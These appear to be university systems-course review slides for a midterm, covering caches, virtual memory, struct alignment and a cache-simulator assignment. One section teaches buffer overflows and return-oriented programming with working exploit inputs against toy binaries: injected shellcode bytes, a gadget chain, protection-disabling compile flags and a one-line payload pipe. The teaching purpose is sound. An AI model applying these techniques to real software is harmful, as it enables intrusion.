
CS356: Discussion #11
Review for Midterm II

Marco Paolieri (paolieri@usc.edu)
Illustrations from CS:APP3e textbook



Schedule: Exams and Assignments

● Week 1: Binary Representation   HW0 . 
● Week 2: Integer Operations
● Week 3: Floating-Point Operations   Data Lab 1 .
● Week 4: Assembly (Arithmetic Instruction)  
● Week 5: Assembly (Debugging with GDB)   Data Lab 2 .
● Week 6: Assembly (Function Calls)
● Week 7:  Bomb Lab .(Oct. 1),  Exam I  (Oct. 4), Security Vulnerabilities
● Week 8: Memory Organization
● Week 9: Caching   Attack Lab .
● Week 10: Virtual Memory
● Week 11: Dynamic Memory Allocation and Linking (Next Discussion)
● Week 12:  Cache Lab .(Nov. 5), Processor Organization,  Exam II  (Nov. 8)
● Week 13: Processor Organization
● Week 14: Code Optimization and Thanksgiving
● Week 15: Cache Coherency and Review   Allocation Lab .
● Week 16: Study Days and  Final  (Dec. 6)



Your Cache Simulator

 ./csim -s <s> -E <E> -b <b> -t <tracefile> (-L|-F)

-s <s> select the number of set bits (i.e., use S = 2s sets)
-E <E> select the number of lines per set (associativity)
-b <b> select the number of block bits (i.e., use B = 2b bytes / block)
-t <tracefile> select a trace
-L select the LRU policy
-F select the FIFO policy

Most likely needed:
● Structs (to hold information about each cache line)
● Arrays or linked lists of structs (to hold cache lines of a set)
● Array of pointers to the sets
● A way to keep track of information for LRU / FIFO

○ FIFO is easy to implement with linked lists or circular buffers
○ LRU is trickier: need to reorder data or keep track of last access



Your Cache Simulator: Data Structures in C

int **array1 = malloc(nrows * sizeof(int *));

for(i = 0; i < nrows; i++)

  array1[i] = malloc(ncolumns * sizeof(int));

int **array2 = malloc(nrows * sizeof(int *));

array2[0] = malloc(nrows * ncolumns * sizeof(int));

for(i = 1; i < nrows; i++)

  array2[i] = array2[0] + i * ncolumns;

http://c-faq.com/aryptr/dynmuldimary.html

We’re not checking efficiency, only correctness



Make sure you know this

1. Security Attacks
○ Protections from buffer overflow attacks? When do they work?
○ Gadgets? What are they? What is c3? How does ROP work?

2. Caches
○ Memory hierarchy, spatial and temporal locality
○ Direct-mapped, fully-associative, K-way cache
○ Their different trade-offs: hit rate vs access time

3. Virtual Memory
○ Page tables, hierarchical page tables, advantages, how they work...
○ TLBs: Goal? Before or after the cache? What is the tag? Block offset?
○ Possible combinations of hit/miss for (TLB, page table, cache)
○ Who updates the CPU cache / TLB / page table? And when?
○ Virtual memory and TLBs for different processes/threads

4. Struct Alignment and Assembly
○ Can you figure out the alignment/offsets of a given struct?



Buffer Overflow: Invoking unreachable(42)

#include <stdio.h>

#include <stdlib.h>

void unreachable(int val) {

    if (val == 42)

printf("The answer!\n");

    else

printf("Wrong.\n");

    exit(1);

}

void hello() {

    char buffer[6];

    scanf("%s", buffer);

    printf("Hello, %s!\n", buffer);

}

int main() {

    hello();

    return 0;

}

.LC0:

      .string "The answer!"

.LC1:

      .string "Wrong."

unreachable:

pushq %rbp

movq %rsp, %rbp

subq $16, %rsp

movl %edi, -4(%rbp)

cmpl $42, -4(%rbp)

jne .L2

leaq .LC0(%rip), %rdi

call puts@PLT

jmp .L3

.L2:

leaq .LC1(%rip), %rdi

call puts@PLT

.L3:

movl $1, %edi

call exit@PLT

.LC2:

      .string "%s"

.LC3:

      .string "Hello, %s!\n"

hello:

pushq %rbp

movq %rsp, %rbp

subq $16, %rsp

leaq -6(%rbp), %rax

movq %rax, %rsi

leaq .LC2(%rip), %rdi

movl $0, %eax

call __isoc99_scanf@PLT

leaq -6(%rbp), %rax

movq %rax, %rsi

leaq .LC3(%rip), %rdi

movl $0, %eax

call printf@PLT

nop

leave

ret

main: pushq %rbp

movq %rsp, %rbp

movl $0, %eax

call hello

movl $0, %eax

popq %rbp

ret
$ gcc -fno-stack-protector -no-pie

   -z execstack target.c -o target



Preparing the input

Preparing input_hex

/* 

 * Stack inside hello():

 * ---------------------

 * [someone else's] (8 byte)

 * [return address] (8 byte)

 * [%rbp of caller] (8 byte)

 * [buffer array]   (6 byte)

 */

11 22 33 44 55 66        /* fill buffer[6]                */

48 c7 c7 2a 00 00 00     /* mov $0x2a,%rdi  \  %rbp of    */

c3                       /* retq            /  caller     */

c0 db ff ff ff 7f 00 00  /* hello return addr goes to mov */

d7 05 40 00 00 00 00 00  /* next retq goes to unreachable */



rtarget: Return-oriented Programming

rtarget is more secure:
● It uses randomization to avoid fixed stack positions.
● The stack is marked as non-executable.

Idea: return-oriented programming
● Find gadgets in executable areas.
● Gadget: short sequence of instructions followed by ret (0xc3)

How do you load a value in a register using gadgets?

void setval_210(unsigned *p) {

  *p = 3347663060U;

}

0000000000400f15 <setval_210>:

  400f15: c7 07 d4 48 89 c7   movl $0xc78948d4,(%rdi)

  400f1b: c3                  retq

    

48 89 c7 encodes the 
x86_64 instruction
movq %rax, %rdi

To start this gadget, set a 
return address to 0x400f18 
(use little-endian format)



Return-oriented Programming: An example

0000000000400644 <main>:

400644: 48 83 ec 08      sub    $0x8,%rsp

400648: b8 00 00 00 00   mov    $0x0,%eax

40064d: e8 dc ff ff ff   callq  40062e <getbuf>

000000000040062e <getbuf>:

40062e: 48 83 ec 18      sub    $0x18,%rsp

400632: 48 89 e7         mov    %rsp,%rdi

400635: e8 bc ff ff ff   callq  4005f6 <Gets>

40063a: b8 01 00 00 00   mov    $0x1,%eax

40063f: 48 83 c4 18      add    $0x18,%rsp

400643: c3               retq   

0000000000400666 <touch>:

400666: 48 83 ec 08      sub    $0x8,%rsp

40066a: 48 83 ff 2a      cmp    $0x2a,%rdi 

40066e: 75 12            jne    400682 <touch+0x1c>

400670: 48 83 fe 10      cmp    $0x10,%rsi

400674: 75 0c            jne    400682 <touch+0x1c>

400676: bf 2f 07 40 00   mov    $0x40072f,%edi

40067b: e8 30 fe ff ff   callq  4004b0 <puts@plt>

400680: eb 0a            jmp    40068c <touch+0x26>

400682: bf 38 07 40 00   mov    $0x400738,%edi

400687: e8 24 fe ff ff   callq  4004b0 <puts@plt>

40068c: bf 00 00 00 00   mov    $0x0,%edi

400691: e8 4a fe ff ff   callq  4004e0 <exit@plt>

0000000000400696 <gadget1>:

400696: 5e               pop    %rsi

400697: c3               retq   

0000000000400698 <gadget2>:

400698: 48 89 f7         mov    %rsi,%rdi

40069b: c3               retq   

Notice that:
● main calls getbuf at 40064d
● getbuf calls Gets at 400635 passing %rsp which 

was decremented by $0x18 (24)
● So, we need to fill in 24 bytes, then start putting 

return addresses and data (for pops) on the stack
● What return addresses? 0x400666 for touch, 

0x400696 for gadget1, 0x400698 for gadget2     
● What data? We can figure out that touch expects 

$0x2a (42) in  %rdi and $0x10 (16) in  %rsi

The memory contents we want after the call to Gets:

  0x0000000000400666 [0x7fffffffdd20]

  0x0000000000000010 [0x7fffffffdd18]

  0x0000000000400696 [0x7fffffffdd10]

  0x0000000000400698 [0x7fffffffdd08]

  0x000000000000002a [0x7fffffffdd00]

  0x0000000000400696 [0x7fffffffdcf8]

  0x8877665544332211 [0x7fffffffdcf0]

  0x8877665544332211 [0x7fffffffdce8]

  0x8877665544332211 [0x7fffffffdce0] <= %rsp



Return-oriented Programming: How it works

000000000040062e <getbuf>:

40062e: 48 83 ec 18      sub    $0x18,%rsp

400632: 48 89 e7         mov    %rsp,%rdi

400635: e8 bc ff ff ff   callq  4005f6 <Gets>

40063a: b8 01 00 00 00   mov    $0x1,%eax

40063f: 48 83 c4 18      add    $0x18,%rsp

400643: c3               retq 

0000000000400666 <touch>:

400666: 48 83 ec 08      sub    $0x8,%rsp

40066a: 48 83 ff 2a      cmp    $0x2a,%rdi 

40066e: 75 12            jne    400682 <touch+0x1c>

400670: 48 83 fe 10      cmp    $0x10,%rsi [...]

0000000000400696 <gadget1>:

400696: 5e               pop    %rsi

400697: c3               retq   

0000000000400698 <gadget2>:

400698: 48 89 f7         mov    %rsi,%rdi

40069b: c3               retq   

● Gets will fill data on the stack starting from %rsp   
(because that’s the parameter passed by getbuf)

● So, starting from %rsp we want 24 bytes of garbage 
(it doesn’t matter what we put in)

● Then, we overwrite the return address of getbuf
● We want to jump to gadget1 because it has a pop 

instruction that we can use to load data into %rsi
● So, after the garbage should come the address of  

gadget1, which is 0x400696. We jump to gadget1 
through the retq of getbuf which will pop the return 
address (read it at %rsp, then increase %rsp by 8)

● To let gadget1 pop our data from the stack, we need 
0x2a on the stack right after 0x400696

● But pop %rsi saves 0x2a (42) in %rsi, not %rdi 
● So, after 0x2a should come the address of gadget2, 

which is 0x400698: we go there for  mov %rsi,%rdi
● Now we need to prepare the second input parameter 

for touch: we want 0x10 (16) in %rsi
● So we go to gadget1 again: after 0x400698 we need 

0x400696 on the stack and then  0x10 (for pop)
● We are finally ready to jump to 0x400666 (touch)

0x0000000000400666 [0x7fffffffdd20]

0x0000000000000010 [0x7fffffffdd18]

0x0000000000400696 [0x7fffffffdd10]

0x0000000000400698 [0x7fffffffdd08]

0x000000000000002a [0x7fffffffdd00]

0x0000000000400696 [0x7fffffffdcf8]

0x8877665544332211 [0x7fffffffdcf0]

0x8877665544332211 [0x7fffffffdce8]

0x8877665544332211 [0x7fffffffdce0] <= %rsp



Return-oriented Programming: Midterm II

000000000040062e <getbuf>:

40062e: 48 83 ec 18      sub    $0x18,%rsp

400632: 48 89 e7         mov    %rsp,%rdi

400635: e8 bc ff ff ff   callq  4005f6 <Gets>

40063a: b8 01 00 00 00   mov    $0x1,%eax

40063f: 48 83 c4 18      add    $0x18,%rsp

400643: c3               retq 

0000000000400666 <touch>:

400666: 48 83 ec 08      sub    $0x8,%rsp

40066a: 48 83 ff 2a      cmp    $0x2a,%rdi 

40066e: 75 12            jne    400682 <touch+0x1c>

400670: 48 83 fe 10      cmp    $0x10,%rsi [...]

0000000000400696 <gadget1>:

400696: 5e               pop    %rsi

400697: c3               retq   

0000000000400698 <gadget2>:

400698: 48 89 f7         mov    %rsi,%rdi

40069b: c3               retq   

From the assembly code on the left (top), could you figure 
out the contents of the memory (bottom) that you would 
like to obtain after the call to Gets?

Notice that, looking at the memory, things are reversed with 
respect to attack strings of the attack lab:
● The filling is at the bottom and 0x400666 at the top
● Bytes of return addresses and data (8-byte words) 

appear in their natural order, not reversed

In the end all, what you need to do is to:
● Decide how much padding is needed
● Give a sequence of return addresses (to jump to 

gadgets) and data (values to be popped into 
registers)

● At the end, give the address of touch

Note that memory is represented with addresses growing 
from bottom to top, as always in the textbook and in class.

0x0000000000400666 [0x7fffffffdd20]

0x0000000000000010 [0x7fffffffdd18]

0x0000000000400696 [0x7fffffffdd10]

0x0000000000400698 [0x7fffffffdd08]

0x000000000000002a [0x7fffffffdd00]

0x0000000000400696 [0x7fffffffdcf8]

0x8877665544332211 [0x7fffffffdcf0]

0x8877665544332211 [0x7fffffffdce8]

0x8877665544332211 [0x7fffffffdce0] <= %rsp



Reproducing the ROP example (it works)

gcc -fno-stack-protector -std=c11 \

    -O1 main.c gadgets.s -o rtarget

echo -n 1122334455667788\

        1122334455667788\

        1122334455667788\

        9606400000000000\

        2a00000000000000\

        9806400000000000\

        9606400000000000\

        1000000000000000\

        6606400000000000\

  | xxd -p -r | ./rtarget

Success!

#include <stdio.h>

#include <stdlib.h>

char *Gets(char *dest) {

    char *sp = dest;

    int c;

    while ((c = getc(stdin)) != EOF && c != '\n')

        *sp++ = c;

    *sp++ = '\0';

    return dest;

}

int getbuf() {

    char buf[16];

    Gets(buf);

    return 1;

}

int main(void) {

    getbuf();

    puts("No attack.");

}

void touch(long x, long y) {

    if (x == 42 && y == 16) {

        puts("Success!");

    } else {

        puts("Wrong input.");

    }

    exit(0);

}

main.c gadget1:

        popq %rsi

        retq

gadget2:

        movq %rsi, %rdi

        retq

gadgets.s

Fill from start of 

buffer to return 

address of getbuf

1) go to gadget1

2) 42 for g1 pop

3) go to gadget2

4) go to gadget1

5) 16 for g1 pop

6) go to touch



The Memory Hierarchy

Static RAM vs Dynamic RAM?



Cache Organization

Memory: addresses of m bits 
⇒ M = 2m memory locations 

Cache:
● S = 2s cache sets
● Each set has K lines
● Each line has: data block 

of B = 2b bytes, valid bit, 
t = m − (s+b) tag bits

How to check if the word at an 
address is in the cache?



Exercise: Cache Size and Address

Problem
A processor has a 36-bit memory address space. The memory is broken into 
blocks of 64 bytes each. The cache is capable of storing 1 MB.
● How many blocks can the cache store?
● Break the address into tag, set, byte offset for direct-mapping cache.
● Break the address into tag, set, byte offset for a 8-way set-associative 

cache.

Solution
● 1 MB / 64 bytes per block = 2**(20-6) = 16k blocks.
● Direct-mapping: 16-bit tag (rest), 14-bit set address, 6-bit block offset.
● 8-way set-associative: each set has 8 lines, so there are 16k / 8 = 2k sets

○ 19-bit tag (rest)
○ 11-bit set address
○ 6-bit block offset



Again: Direct-Mapping Cache Simulation

Address breakdown
● C1 has no block offset, 3-bit set address
● C2 has 1-bit block offset, 2-bit set address
● C3 has 2-bit block offset, 1-bit set address

How to run a trace: extract set address (3, 2, 1 
bits) from LSB; on miss, load (1, 2, 4) bytes.

Running C3:
● Get 1: miss. Put bytes 0-3 in bucket 0.
● Get 134: miss. Put 132-135 in bucket 1.
● Get 212: miss. Put 212-215 in bucket 1.
● Get 1: hit.
● Get 135: miss. Put 132-135 in bucket 1.
● Get 213: miss. Put 212-215 in bucket 1.
● Get 162: miss. Put 160-163 in bucket 0.
● Get 161: hit.

Trace

MEM     LSB     C1 C2  C3

  1  0000 0001  1m 0m  0m

134  1000 0110  6m 3m  1m

212  1101 0100  4m 2m  1m

  1  0000 0001  1h 0h  0h

135  1000 0111  7m 3h  1m

213  1101 0101  5m 2h  1m

162  1010 0010  2m 1m  0m

161  1010 0001  1m 0m  0h

  2  0000 0010  2m 1m  0m

 44  0010 1100  4m 2m  1m

 41  0010 1001  1m 0m  0m

221  1101 1101  5m 2m  1m

m_rate: 11/12 9/12 10/12



Similar: Looking at the cache

Cache: 10-bit addresses, 4 sets, 4 bytes/block, 4 ways.
Address fields: 6-bit tag, 2-bit set index, 2-bit offset.
Cache size: 4 sets * 4 lines/set * 4 bytes/block = 64 bytes

       WAY 0    WAY 1    WAY 2    WAY 3  .

SET    V TAG    V TAG    V TAG    V TAG  . 

  0    1 0x21   1 0x22   1 0x31   1 0x33

  1    0 0x1C   0 0x0F   0 0x31   1 0x33

  2    1 0x2C   0 0x11   0 0x31   1 0x33

  3    1 0x21   0 0x0C   1 0x31   1 0x33

● All tags start with 0, 1, 2, 3. Why? (Tags use only 6 bits, not 8.)
● Is 0x2C1 a hit or a miss? (A miss, because tag 0x2C is not in set 0.)
● If 0x211 is a hit, will 0x210 also be a hit? (Yes! They are in the same block.)
● What ranges of physical addresses are contained in the cache?

○ 0x330 to 0x33F, 0x310 to 0x313, 0x31C to 0x33F, 0x220 to 0x223, ...
● Which addresses will be a sure hit after a miss on 0x211?(0x220 to 0x223)



Performance Tuning of Caches

● Large caches decrease the miss ratio, but increase the hit time.
● Large blocks decrease the miss ratio with spatial locality, but having fewer 

lines per set can hurt programs where temporal locality dominates.
● Large blocks can also increase the miss penalty.
● Large associativity K decreases the chance of conflict misses, but it is 

more expensive to implement and hard to make fast.
○ More tag bits per line.
○ Additional LRU state bits per line.
○ Additional control logic.
○ … can increase both hit time and miss penalty.

Average Access Time = (Hit Time) + (Miss Ratio) ⨯ (Miss Penalty) 



Single-Level Page Table: PTBR[VPN] | VPO

Example: 32 bit virtual address, 4 kB pages ⇒ 20 bit VPN, 1M page table entries
● Only 1 GB of physical memory ⇒ 18 bit PPN (translated address is 00...)



Example: Single-Level Page Table

8-bit virtual addresses, 10-bit physical addresses, 32-byte pages
● Physical address of virtual address 0x2D?  00101101 => 0 0011 1100 1101
● Physical address of virtual address 0x7A?  01111010 => 0 0000 1101 1010
● Physical address of virtual address 0xEF?  11101111 => (not valid)
● Physical address of virtual address 0xA8?  10101000 =>           0 1000

Index Valid PPN

0 0 0x0E

1 1 0x1E

2 1 0x16

3 1 0x06

4 0 0x0B

5 1 0x1F

6 0 0x15

7 0 0x0A



A page table for each process

Page-level memory protection and sharing (page tables in kernel memory).
Process context switch: load PTBR from GDT into CR3 register, flush TLB.



Multi-Level Page Table: More indirections

The virtual address space can be very large for a single process.
⇒ Most of the page table entries are not used
⇒ Idea: use a page directory where entries point to next-level tables (if 
present)
⇒ Each level contains base of next table (if present), last level contains PPN



Problem: Three-Level Page Table

Consider a 3-level VM system with:
● 36-bit physical address space
● 32-bit virtual address space
● 4 kB pages
● Page tables implemented as look-up tables
● 256 entries for page directory
● 64 entries in second-level page table

Find out:
● The layout of virtual addresses (1st / 2nd / 3rd table offset, page offset)
● The number of entries in third-level page table
● The size of each page table (assume 4 bytes for each entry)
● Minimum size of entries of third page table?
● Maximum amount of physical RAM in the system?



Translation Lookaside Buffer

A k-level page table requires k memory accesses in the worse case.
Idea: cache address mappings inside the CPU (10 ns hit time).
● VPN is the cache tag, PPN is the entire cache block
● High degree of associativity (4-way or fully-associative: low miss rate)
● What about reading a sequence of addresses? Hit rate, miss rate of TLB?

Average Access Time = (Hit Time) + (Miss Rate) ⨯ (Miss Penalty) 



Example: 2-way set associative TLB

16-bit virtual and physical addresses, 256-byte pages
● Physical address of virtual address 0x7E85 == 0111 1110 1000 0101
● Virtual address of physical address 0x3020 == 0011 0000 0010 0000

Index Valid Tag PPN

0
1 0x13 0x30

0 0x34 0x58

1
0 0x1F 0x80

1 0x2A 0x72

2
1 0x1F 0x95

0 0x20 0xAA

3
1 0x3F 0x20

0 0x3E 0xFF



Intel Core i7: TLB and translation before L1

What would be the problems 
of a cache before the TLB?



Solve the problems from the website

http://bytes.usc.edu/cs356/docs/cs356_cache_sol.pdf
http://bytes.usc.edu/cs356/docs/cs356_vm_sol.pdf

Virtual Memory
32-bit virtual addresses, 36-bit physical addresses, 16 kB pages
● Bits of page offset? VPN bits? PPN bits?
● Number of pages in virtual and physical memory?
● Page table size with 4 byte entries?
● VPN bits breakdown for 3-level (32 / 64 / unknown)-entries?

○ Worst-case size with 4 byte entries and 10 pages in use?
● 4-way set associative TLB with 128 total entries

○ VPN bits mapping to tag / set / page offset?



Struct Alignment

● Rule (suggested by Intel): objects of K bytes aligned at multiples of K
○ Hence: Trailing padding to align struct at the multiples of max(K)

● Check for yourself with sizeof and offsetof in C (run  man offsetof)
● The assembly code will use these offsets!
● Read Section 3.9.3; also useful: www.catb.org/esr/structure-packing

 struct data {

     char A;

     int B;

     short C;

 };


